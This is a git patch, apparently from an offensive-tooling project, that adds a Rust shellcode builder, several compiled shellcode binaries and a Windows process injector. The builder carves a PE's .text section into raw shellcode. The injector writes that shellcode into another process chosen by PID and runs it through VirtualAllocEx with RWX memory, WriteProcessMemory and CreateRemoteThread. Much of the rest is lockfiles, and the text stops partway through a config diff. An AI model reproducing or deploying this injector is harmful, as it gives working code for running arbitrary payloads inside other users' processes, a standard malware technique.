From e5ce5cb8949a3849fc3c292b87c9d2a6baa333d4 Mon Sep 17 00:00:00 2001 From: flux <49762827+0xflux@users.noreply.github.com> Date: Wed, 12 Jun 2024 20:41:34 +0100 Subject: [PATCH] commit --- builder/Cargo.lock | 162 ++++++++++++ builder/Cargo.toml | 9 + builder/output/OLD_2shellcode.bin | Bin 0 -> 2560 bytes builder/output/OLD_3shellcode.bin | Bin 0 -> 2560 bytes builder/output/OLD_4shellcode.bin | Bin 0 -> 2560 bytes builder/output/OLD_5shellcode.bin | Bin 0 -> 1024 bytes builder/output/shellcode.bin | Bin 0 -> 1024 bytes builder/src/main.rs | 97 ++++++- injector/Cargo.lock | 169 +++++++++++++ injector/Cargo.toml | 16 ++ injector/src/main.rs | 125 +++++++++ shellcode/.cargo/config | 27 +- shellcode/src/main.rs | 403 +++++++++++++++++++++++++++--- shellcode/src/resolver.rs | 37 +-- 14 files changed, 974 insertions(+), 71 deletions(-) create mode 100644 builder/output/OLD_2shellcode.bin create mode 100644 builder/output/OLD_3shellcode.bin create mode 100644 builder/output/OLD_4shellcode.bin create mode 100644 builder/output/OLD_5shellcode.bin create mode 100644 builder/output/shellcode.bin create mode 100644 injector/Cargo.lock create mode 100644 injector/Cargo.toml create mode 100644 injector/src/main.rs diff --git a/builder/Cargo.lock b/builder/Cargo.lock index c545746..93f43f0 100644 --- a/builder/Cargo.lock +++ b/builder/Cargo.lock @@ -2,6 +2,168 @@ # It is not intended for manual editing. version = 3 +[[package]] +name = "anyhow" +version = "1.0.86" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3d1d046238990b9cf5bcde22a3fb3584ee5cf65fb2765f454ed428c7a0063da" + [[package]] name = "builder" version = "0.1.0" +dependencies = [ + "anyhow", + "windows", +] + +[[package]] +name = "proc-macro2" +version = "1.0.85" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22244ce15aa966053a896d1accb3a6e68469b97c7f33f284b99f0d576879fc23" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "syn" +version = "2.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c42f3f41a2de00b01c0aaad383c5a45241efc8b2d1eda5661812fda5f3cdcff5" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "windows" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143" +dependencies = [ + "windows-core", + "windows-targets", +] + +[[package]] +name = "windows-core" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-targets", +] + +[[package]] +name = "windows-implement" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-result" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0" diff --git a/builder/Cargo.toml b/builder/Cargo.toml index 74d6934..c5460ff 100644 --- a/builder/Cargo.toml +++ b/builder/Cargo.toml @@ -4,3 +4,12 @@ version = "0.1.0" edition = "2021" [dependencies] +anyhow = "1.0.86" + +[dependencies.windows] +version= "0.57.0" +features=[ + "Win32_System_SystemServices", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemInformation", +] diff --git a/builder/output/OLD_2shellcode.bin b/builder/output/OLD_2shellcode.bin new file mode 100644 index 0000000000000000000000000000000000000000..fd2844e857f81d9e5fe6c942f818bf1c94e429d0 GIT binary patch literal 2560 zcmc&#Z)_CT5r4aPHfJzAN0^2pRGex-ri#-$qEx=bkbBM@yru6F(-`cM#Mr?$F?C|= zZcUHMvG=q-!Sia93eifH8bKq}Pf;rcg+GxZ@7+=VlT}fu5+#-*Cxqxu8O1Yu%$wiL&YL$gSNyOXq3Hp<=$F6?dJ>-B0xxJY&@=G7 z2v09OVqefBcX{=dBOSdxoi%%#ch=R%yOPO{LtTx1DT4MUyAqFXd!)0s7yUT)lc!@0 zgeYT(^>uWzo);4xiK7JV>e8ALeFsTrX97%-`pV(1gIZVTLrD5RFZ5q8`9Ch-x0YY5 z`@gwf2s-?}wMYxuNA{BDeJy*RrRgtHGD3_`P=1wirqohv_3O*7`|fJ6D$IgI%Ewjy zKII=$zEGHk4V7P})}WH2{5Ive0xtuM@g%~THwD_$n7aa$N0nA;?y3?@lZVxmddhDy zt|`GdFBO{Z8TNo7vwD?b)r?63A5qPLiY{vUH@8C=)THaFxu;4suFtDmm#9@&0}-lY z`rSo&vqCBVfSL!|X=WCW{KJP3KEJEAJ7eRKuRx&YGeL2>_9#AIA{P)GnOaOqg{~Av zp@@m``EtmPXKrbA_ubsDI_}s=HkPBdm$VCK%7>lxY1l~T4z}t^A zzkpq4?U&SW9vdwn>>Pc5V@gdgl)wm}>4k5A!I`&(4}I}<{F)71@u~aGYVI?e1FaSW zvm3w+#K7d#PbizXrBA4=mqQF71_(5aOn9S+EF~=L2?)jWPI$7Bn*zjKC^bq zYB-zhY19WRQ)9zD;K3(y*D9>-S34ls;$bM2#LF~X8h9yWGm|M18XngYqi~O8v|56@ zj9O%j=<^#0K4BAku8agGt=(h#?G5-u*8Zd{@E1})sZCQ}a<;@mQ?Zcktbu!gT5!sN zLUpO>&k%Cmc*Ui7#SG(f)O=Fqm*^9N3dNa2ORih|nV0BJCB^tB)NEGjnHg1rg{Q%Z zYBVTtGu;9Ko9*2sT_4|%Gxe~c9*i`QbOUONiObs}(r-0Gb&H_(x=Gj@-(v z&?=xcoR6ttSF!M9axF8P%_rNDXXw)0Fjh&T-wBoNois;wp0C`&5;tWUhKlKA2 zOg!!+qgHYg(U&U|0sY#tzWC)p2Wae9p95Di1e=U|Zias7#PvMZ7v-N5PyYn9T4ff_ zC+qZv4P(PWfcpgedmemPQQdLIOT{xVbVQLtNmjwU*c1z0aaNv{obt1>BcJs_l?I~6 z_f#GK=>y(ar(E(%v@P#${sa6UxtmYJ+gTP@Uidqdig)>i8-kmek=Cw6Yo%vUWpGu~ x%KnP>fL(ssKPQ)@avv&xQ|_1A5t958@;3r4FGJJyZYy literal 0 HcmV?d00001 diff --git a/builder/output/OLD_3shellcode.bin b/builder/output/OLD_3shellcode.bin new file mode 100644 index 0000000000000000000000000000000000000000..765f4e06639e919fd699643811b0e9cf9b5b8662 GIT binary patch literal 2560 zcmds1Yiv|S6rQ_}c4>jT2*t`HRK1O@3D7N=bWOod*@ao0g$jKEEwuDOfeK~!E-bO& zUAG$H}LbPe1d``n4N)>Xe)v&Y$_nL?xg% z!C25FmjyO9;KoL%7PwFHFmM7eLcyj0Bx-DJMSdXGuW2gX7{*Y}x~2xXsquLv{Ko<{ z{!6huRjf~ljmzU1`I#aGeoqk+y_QGaeW5JE`YG%7G2IxShEPlw_vi_WODEC8c|Eua zSKURhPKltiwDEeKI|l&~{|eMhu0_M~YZ7z0TRs}*hp>-Dj-gq=tG1Qh}e{ zGuH7O(P9Y#Y~_VKS}RKqpV}@tn}}-5t%F*KO0ucC$w}F5s=ig{kC|e}i@+DV=2bVt z_Btl=?CSagkJx44{fLKR7hR`~N$>!1^h(m}(*3dP@=No?F53cFAx~|dW1=mxFLKX> zm$PMk=?;%A>@#&=^hh%CJ<+ICM%g8!kH?L+OJyiTh`U{?3t<8qs&*YG?vwKTof90M zowl*WJmk?99>mK1NmzXU5Y{i+y;>RA54hcp^-Ff_IOTP8dy7uVy+oZ%-M7V9p=p}& zTF9Q-HPlPga_A0(FEExs-r>Hi14eUX8}cs~V>1Dh25)hs-HytaUp?$OHOK-7iM za4Ho6fPPb{K<%*afZnOHJzJ&rDQdetNA=hxBERss#m_^71Vcs#2-Mcr`UCcF2&CH@XGRtD3-6 zn`(>jaslS0`b5|`t_uiz!@&Uo;N+kLKsI4(a|pwEiBUXC9*O245;@H8`ik0BD{&33 z#Vhfu9-?La_`oz1P5@mTqyxABAawzZhrmBU*fDh^Z$ojPOZRcT)GU;8?2G zSR6ESip3WjlH(8{ctD(1f|Ozl3h#v_KDQpa6_+69WBEMdzS*;Ir+}kLn_LV3RyiO3 zEn+MqRePJ@clV0Xdr(@bQe1ejQxJDmLkr_K!9%s->2qMrhe(AaGBf~K#*v}xphM+Y zNq)4wIsPpef3QCXV}w1(*)K$f?u@W^Z?B2(1_LWs2Vn8Xa(-M%nZ0db76j%dWRLdN zG_07T0}kcqq%!ntXf@2}+iDwWE+6&*^#6qP}B&x24tD M2dsnK_kWb%0kg#FK>z>% literal 0 HcmV?d00001 diff --git a/builder/output/OLD_4shellcode.bin b/builder/output/OLD_4shellcode.bin new file mode 100644 index 0000000000000000000000000000000000000000..202dc4a7401da891ac9a5144cecdbcb1051bd2df GIT binary patch literal 2560 zcmd^9YfKbZ6uz?$SV5h&ilsgxX@?Y=s4Uu)ZO}5ft9R{PrOL|+3i9wp1$Sq4jc8}H zY|3>qnwb8tY5dhTjSW$#Ny7jZgcyt3)Ebi(Y;9({J`jyju}se$p;g=TPk;1BPjcrx z?sp#d+;b;>-j2`<2o0tq6a#)T4WaKr9t0kkjnD|lGVnvd9WNnt4EPCHk0-b`Av4Zm zFgv4Qpr#^F7i?_UQx{ki2%>T)D&WA*o4W`x*iu-}+bhAA`8W1$V9SE#+qI{ttWdBn0EucF8jv4=)m!Td8^a=$v!kv?s;foZe@sx~za+~) zlJz;VF?uSadF?WipE8*uj^4;3?txGmrh|lb`>3YROoCC<_z$&&#iilsnXDeMOe_^k z#NyJjlJz)pBWyv4&^}BrVR{~`)6&Kbz@DyN8dtx>Jc!LoJ=YpbeI4jkI+#(czOo6@T*_;%YW@Q~)$FEh|y$rpKGz)RV? zv#`};3;PVs7yWuX@hw(~P(s0xV~4pi>y$L?>Wm4{|IJcn%4 zvC-vGS9gl?!#N^ipv0TG2;+2ry zJT=sdm15`)gwN5}LEeeJ>;Oc4vC-?)1XkJP;Rzx$gdV~p?j=7Vf}NK8hR5(L^&?7R2^(?2=5&t%4dQM zvY+?f7QZyDG!Fe_S6=p;VYFzWtwarS#I&*_W1!t8G!d$MA~J1hoe7_fIbSks~_H?*VS(fCdL8V3MPFc6b$llCa-11KT9R- z?U$CV$MiZl5(+;AohST?vwrr5PQrZ>bzQPAdhLNP`y%`<)Yp%)#GUd4CFa*NTEs7C zVMj$iqnFST;@0?R7@YZ2^DHe_!yCNxl9=5i-tS44W?(~0{4j~fQO!x*XM@v;QeknB z)Oi+PY)pznfZ%C?EUEhu~fTzqaVG#VEm<}>*`{HdiPWhj@zV4_*$iG_*(c_ zidlOT=Xdw=(Fagkp`4%F*~amQ%b|twJ76K|#P$_XRzjp)92pw|SrQ{-H-U$WMS1+A zgZ1&RK=}jxDJYZZ5r%#_GInngedJ(8{0Jzb{L2tHACt1t*BB~{sntRu|! Hf1uw1qSWlV literal 0 HcmV?d00001 diff --git a/builder/output/OLD_5shellcode.bin b/builder/output/OLD_5shellcode.bin new file mode 100644 index 0000000000000000000000000000000000000000..8087679d71883b0512dd40debd4d217dab010860 GIT binary patch literal 1024 zcmdsz&rj1}7{}jtR6)c*G(<3vlw`!jkY$6!WI)t+>F`}>bz!h2%8w1&jme-(*9J^T zoDLFeQxAIAgD1}(z}qI#igF+^k%I?45EMrYiC#>U`m}QLPw;J;=lOoV&-?W0v-<%d zbP^%v6hfU4YalkkdsS2On#xI&S|+9{*|`isyqpsG?4*)XZW44^QlpAIMMP1N3I(JU zB&Da@C+2cU0G-N6A$ftIgv8FKM2XF+9c)1Y0qGp;c8zDHc~(~bij1VxBVJO^7TCO; z*Ya!%O5HY-@W>%9IZ9V#sn4-(8vSTG}4+lyEg$8|XG2M+AJ5UgnJ z;Xs*|zG9_)pmBv~e1aMEqzC#Mu%K_MJJfK#m8?FZ#)6-k%{LBgo9aKm$j%V@DRh4wL4GknrY_rw{_`Dk|1$1LWbjsky!e6P`K8({1_~Q^czd~E@Yg+;}*`~a2scgVwN+8u{Tf-2eyUa zM&r_bsEC-0Ud-t`#B6(Jw6zxdTTw*+rGBLNZN##i^*Gh~PN=xphhayzV0WU|UEWK_ z1%A%qvsn897lq(&?MXObM@rwYawc@It5+~HIMmzKC+MHmU8txo1+53^<7AYKk#RDywt;IIRQsUD@5$pNZm2^I{^Qa5{IO(R`RFF|$+HjR H|F`E4rr9er literal 0 HcmV?d00001 diff --git a/builder/output/shellcode.bin b/builder/output/shellcode.bin new file mode 100644 index 0000000000000000000000000000000000000000..8087679d71883b0512dd40debd4d217dab010860 GIT binary patch literal 1024 zcmdsz&rj1}7{}jtR6)c*G(<3vlw`!jkY$6!WI)t+>F`}>bz!h2%8w1&jme-(*9J^T zoDLFeQxAIAgD1}(z}qI#igF+^k%I?45EMrYiC#>U`m}QLPw;J;=lOoV&-?W0v-<%d zbP^%v6hfU4YalkkdsS2On#xI&S|+9{*|`isyqpsG?4*)XZW44^QlpAIMMP1N3I(JU zB&Da@C+2cU0G-N6A$ftIgv8FKM2XF+9c)1Y0qGp;c8zDHc~(~bij1VxBVJO^7TCO; z*Ya!%O5HY-@W>%9IZ9V#sn4-(8vSTG}4+lyEg$8|XG2M+AJ5UgnJ z;Xs*|zG9_)pmBv~e1aMEqzC#Mu%K_MJJfK#m8?FZ#)6-k%{LBgo9aKm$j%V@DRh4wL4GknrY_rw{_`Dk|1$1LWbjsky!e6P`K8({1_~Q^czd~E@Yg+;}*`~a2scgVwN+8u{Tf-2eyUa zM&r_bsEC-0Ud-t`#B6(Jw6zxdTTw*+rGBLNZN##i^*Gh~PN=xphhayzV0WU|UEWK_ z1%A%qvsn897lq(&?MXObM@rwYawc@It5+~HIMmzKC+MHmU8txo1+53^<7AYKk#RDywt;IIRQsUD@5$pNZm2^I{^Qa5{IO(R`RFF|$+HjR H|F`E4rr9er literal 0 HcmV?d00001 diff --git a/builder/src/main.rs b/builder/src/main.rs index e7a11a9..1c48e05 100644 --- a/builder/src/main.rs +++ b/builder/src/main.rs @@ -1,3 +1,96 @@ -fn main() { - println!("Hello, world!"); +use std::{env, ffi::c_void, fs::File, io::{BufWriter, Read, Write}, ptr::read, str::from_utf8}; +use anyhow::Result; +use windows::Win32::System::{Diagnostics::Debug::{IMAGE_FILE_HEADER, IMAGE_NT_HEADERS64, IMAGE_OPTIONAL_HEADER64, IMAGE_SECTION_HEADER}, SystemServices::IMAGE_DOS_HEADER}; + +fn main() -> Result<()> { + // read the assembly dump + let src_path = collect_args(); + let mut file = File::open(src_path)?; + let mut buffer = Vec::new(); + file.read_to_end(&mut buffer)?; + + // parse DOS header + let dos_header: IMAGE_DOS_HEADER = unsafe { read_windows_struct(&buffer, 0) }; + let pe_offset = dos_header.e_lfanew as usize; + + // parse the pe header + let pe_header: IMAGE_NT_HEADERS64 = unsafe { read_windows_struct(&buffer, pe_offset) }; + let file_header: IMAGE_FILE_HEADER = pe_header.FileHeader; + let optional_header: IMAGE_OPTIONAL_HEADER64 = pe_header.OptionalHeader; + + let number_of_sections = file_header.NumberOfSections as usize; + let entry_point = optional_header.AddressOfEntryPoint; + let base_of_code = optional_header.BaseOfCode; + let entry_offset = entry_point - base_of_code; + + // parse the headers + let section_header_start = pe_offset + size_of::(); + let section_headers = &buffer[section_header_start..section_header_start + (number_of_sections * size_of::())]; + + // collect all section information first to avoid overlapping borrows + let mut text_section_info = None; + + for i in 0..number_of_sections { + let section = §ion_headers[i * size_of::()..(i + 1) * size_of::()]; + let name = from_utf8(§ion[..8])?.trim_end_matches('\u{0}'); + + // let virtual_address = u32::from_le_bytes([section[12], section[13], section[14], section[15]]) as usize; + let raw_data_ptr = u32::from_le_bytes([section[20], section[21], section[22], section[23]]) as usize; + let raw_data_size = u32::from_le_bytes([section[16], section[17], section[18], section[19]]) as usize; + + if name.starts_with(".text") { + text_section_info = Some((raw_data_ptr, raw_data_size)); + break; + } + } + + if let Some((start, size)) = text_section_info { + let dst_path = r"output/shellcode.bin"; + let shellcode = File::create(&dst_path)?; + let mut buf_writer = BufWriter::new(shellcode); + + println!("[+] Section text addr: {:p}, size: {:x}", start as *const c_void, size); + println!("[+] Section offset: {:p}", entry_offset as *const c_void); + + // Perform buffer modification + let buffer_start = start; + let buffer_end = start + 5; + let (head, _) = buffer.split_at_mut(buffer_end); + + // Calculate the offset for the jmp to our entry point + if entry_offset >= 0x80 { + // Near jmp with shorter offset + head[buffer_start] = 0xe9; // Near jmp + let offset = (entry_offset - 5) as i32; + let offset_bytes = offset.to_le_bytes(); + head[buffer_start + 1..buffer_start + 5].copy_from_slice(&offset_bytes); + } else { + // Short jmp + head[buffer_start] = 0xeb; // Short jmp opcode + head[buffer_start + 1] = (entry_offset - 2) as u8; // Offset for short jmp + } + + for i in start..start + size { + buf_writer.write(&[buffer[i]])?; + } + buf_writer.flush()?; + println!("[+] Done. Shellcode saved at {}", dst_path); + } + + Ok(()) + } + +unsafe fn read_windows_struct(buffer: &[u8], offset: usize) -> T { + read(buffer[offset..offset + size_of::()].as_ptr() as *const T) +} + +fn collect_args() -> String { + let args: Vec = env::args().collect(); + if args.len() != 2 { + panic!("[-] Expected argument path to assembly dump."); + } + + let path = args[1].clone(); + path +} \ No newline at end of file diff --git a/injector/Cargo.lock b/injector/Cargo.lock new file mode 100644 index 0000000..a578e1a --- /dev/null +++ b/injector/Cargo.lock @@ -0,0 +1,169 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "anyhow" +version = "1.0.86" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3d1d046238990b9cf5bcde22a3fb3584ee5cf65fb2765f454ed428c7a0063da" + +[[package]] +name = "injector" +version = "0.1.0" +dependencies = [ + "anyhow", + "windows", +] + +[[package]] +name = "proc-macro2" +version = "1.0.85" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22244ce15aa966053a896d1accb3a6e68469b97c7f33f284b99f0d576879fc23" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fa76aaf39101c457836aec0ce2316dbdc3ab723cdda1c6bd4e6ad4208acaca7" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "syn" +version = "2.0.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c42f3f41a2de00b01c0aaad383c5a45241efc8b2d1eda5661812fda5f3cdcff5" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "windows" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143" +dependencies = [ + "windows-core", + "windows-targets", +] + +[[package]] +name = "windows-core" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result", + "windows-targets", +] + +[[package]] +name = "windows-implement" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-result" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f0713a46559409d202e70e28227288446bf7841d3211583a4b53e3f6d96e7eb" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7088eed71e8b8dda258ecc8bac5fb1153c5cffaf2578fc8ff5d61e23578d3263" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9985fd1504e250c615ca5f281c3f7a6da76213ebd5ccc9561496568a2752afb6" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88ba073cf16d5372720ec942a8ccbf61626074c6d4dd2e745299726ce8b89670" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87f4261229030a858f36b459e748ae97545d6f1ec60e5e0d6a3d32e0dc232ee9" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db3c2bf3d13d5b658be73463284eaf12830ac9a26a90c717b7f771dfe97487bf" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e4246f76bdeff09eb48875a0fd3e2af6aada79d409d33011886d3e1581517d9" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "852298e482cd67c356ddd9570386e2862b5673c85bd5f88df9ab6802b334c596" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bec47e5bfd1bff0eeaf6d8b485cc1074891a197ab4225d504cb7a1ab88b02bf0" diff --git a/injector/Cargo.toml b/injector/Cargo.toml new file mode 100644 index 0000000..9bc28c0 --- /dev/null +++ b/injector/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "injector" +version = "0.1.0" +edition = "2021" + +[dependencies] +anyhow = "1.0.86" + +[dependencies.windows] +version= "0.57.0" +features=[ + "Win32_System_Threading", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_Security", +] diff --git a/injector/src/main.rs b/injector/src/main.rs new file mode 100644 index 0000000..4cfb069 --- /dev/null +++ b/injector/src/main.rs @@ -0,0 +1,125 @@ +use std::{arch::asm, env, ffi::c_void, fs::File, io::Read, mem::transmute, process::exit, ptr::{self, null, null_mut}}; +use anyhow::Result; +use windows::Win32::{Foundation::GetLastError, System::{Diagnostics::Debug::WriteProcessMemory, Memory::{VirtualAlloc, VirtualAllocEx, VirtualFree, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, Threading::{CreateRemoteThread, OpenProcess, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}}}; + +fn main() { + let shellcode = match read_shellcode_file() { + Ok(s) => s, + Err(e) => panic!("[-] Unable to read shellcode from file: {e}"), + }; + + let pid = collect_proc_addr(); + + // GET HANDLE TO PID + let h_process = unsafe { OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, false, pid) }; + let h_process = match h_process { + Ok(h) => { + println!("[+] Got handle to process ID {pid}, handle: {:?}", h); + h // return the handle + }, + Err(e) => panic!("[-] Could not get handle to pid {pid}, error: {e}"), + }; + + // allocate memory + let alloc = unsafe { + VirtualAllocEx( + h_process, + Some(null_mut()), + shellcode.len(), + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE) + }; + + println!("[+] Address of allocated memory: {:?} in process pid: {}", alloc, pid); + + let mut bytes_written: usize = 0; + + // write the shellcode + let _ = unsafe { + WriteProcessMemory( + h_process, + alloc, + &shellcode as *const _ as *const c_void, + shellcode.len(), + Some(&mut bytes_written), + ) + }; + + if (bytes_written == 0) || (bytes_written != shellcode.len() as usize) { + panic!("[-] Failed to write process memory. Shellcode length: {}", shellcode.len() as usize); + } else { + println!("[+] Bytes written: {}. Shellcode length: {}", bytes_written, shellcode.len() as usize); + } + + // unsafe { + // asm!("int3"); + // } + + let mut thread: u32 = 0; + let _ = unsafe { + CreateRemoteThread( + h_process, + None, + 0, + Some(transmute(alloc)), + None, + 0, + Some(&mut thread), + ) + }; + + if thread == 0 { + unsafe {panic!("[-] Could not create remote thread. {:?}", GetLastError());} + } else { + println!("[+] Thread created: {}", thread); + } + +} + +fn collect_proc_addr() -> u32 { + let args: Vec = env::args().collect(); + + if args.len() != 2 { + eprintln!("[-] PID required."); + exit(1); + } + + let pid = args[1].clone(); + let pid_as_int: u32 = pid.parse().unwrap(); + + pid_as_int +} + +fn read_shellcode_file() -> Result> { + let mut shellcode_file = File::open("shellcode.bin")?; + let mut shellcode_buffer = Vec::new(); + shellcode_file.read_to_end(&mut shellcode_buffer)?; + + // Allocate executable memory + // let shellcode_ptr = unsafe { + // VirtualAlloc( + // Some(null_mut()), + // shellcode_buffer.len(), + // MEM_COMMIT | MEM_RESERVE, + // PAGE_EXECUTE_READWRITE, + // ) as *mut u8 + // }; + + // if shellcode_ptr.is_null() { + // panic!("Failed to allocate executable memory."); + // } + + // // Copy shellcode to the allocated memory + // unsafe { + // std::ptr::copy_nonoverlapping(shellcode_buffer.as_ptr(), shellcode_ptr, shellcode_buffer.len()); + + // // Execute the shellcode + // let shellcode_fn: extern "C" fn() = std::mem::transmute(shellcode_ptr); + // shellcode_fn(); + + // // Free the allocated memory + // let _ = VirtualFree(shellcode_ptr as *mut c_void, 0, MEM_RELEASE); + // } + + Ok(shellcode_buffer) +} \ No newline at end of file diff --git a/shellcode/.cargo/config b/shellcode/.cargo/config index 1db95b2..6475438 100644 --- a/shellcode/.cargo/config +++ b/shellcode/.cargo/config @@ -1,21 +1,24 @@ [build] target = "x86_64-pc-windows-msvc" +# target = "i686-pc-windows-msvc" rustflags = [ - # pre-link - "-Z", "pre-link-arg=/NODEFAULTLIB", # not to use the default libraries - "--emit", "asm", # instructs the compiler to emit assembly code in addition to binary - - # post-link + # Pre Link Args + #"-Z", "pre-link-arg=/NOLOGO", + #"-Z", "pre-link-arg=/NXCOMPAT", + "-Z", "pre-link-arg=/NODEFAULTLIB", + #"-Z", "pre-link-arg=/DYNAMICBASE", + #"-Z", 